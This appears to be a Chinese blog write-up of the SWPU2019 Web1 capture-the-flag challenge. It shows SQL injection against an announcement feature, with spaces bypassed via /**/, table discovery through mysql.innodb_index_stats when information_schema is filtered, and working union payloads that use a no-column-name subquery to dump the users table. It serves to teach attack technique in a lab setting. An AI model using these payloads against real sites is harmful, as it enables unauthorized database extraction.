[SWPU2019]Web1 sql注入过滤了information 无列名查询

记录一道过滤 or 导致无法使用 information_schema.tables的题目

前置知识

过滤information

在sql的时候其实很想知道 如果information_schmea.tables被过滤 那我是不是就完全sql不来了

这里就遇到了

主要是 mysql中还存在着其他的表可以查询

例如 mysql数据库中的 innodb_index_stats

还有sys数据库中的schema_auto_increment_columns

但是这个题目不存在

所以我们还是使用mysql.innodb_index_stats

无列名查询

因为mysql.innodb_index_stats不存在列名 所以我们只能通过无列明查询

其实这个我们在sql注入已经会了 就是select 1,2,3,4

但是意义不一样

我们来看看

之前判断字段是无法回显字符的

我们把它作为一个表来返回

这里通过联合查询 就可以将 数据返回

但是我们有的时候只需要其中一个 我们就可以将其作为一个表 然后去查询他

例如

这样我们就取得了 第二列的数据了

个人觉得还是很好理解的

做题

首先我们得到了这个网站

想去试试弱口令 无果

只能通过注册去注册一个了

只存在两个功能点 一个是发布公告

我们去看看有什么用处

发现发布后可以进行查看详情 查询

那我们是不是可以通过sql来(这里是看wp的 思维跳跃太大了没想到是sql注入)

发现过滤了 空格 我们直接/**/绕过

确定了是sql注入 但是没有实现闭合 我们研究了一下 是最后还有个单引号 所以我们在最后加一个单引号让他为空字符

报错说字段错误 我们就开始尝试了

经过尝试

22个字段 真的多。。。。。

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

我们可以开始查询了

爆数据库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

爆破表

1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'

爆破值 (无列名查询)

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这样就爆破出了值了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值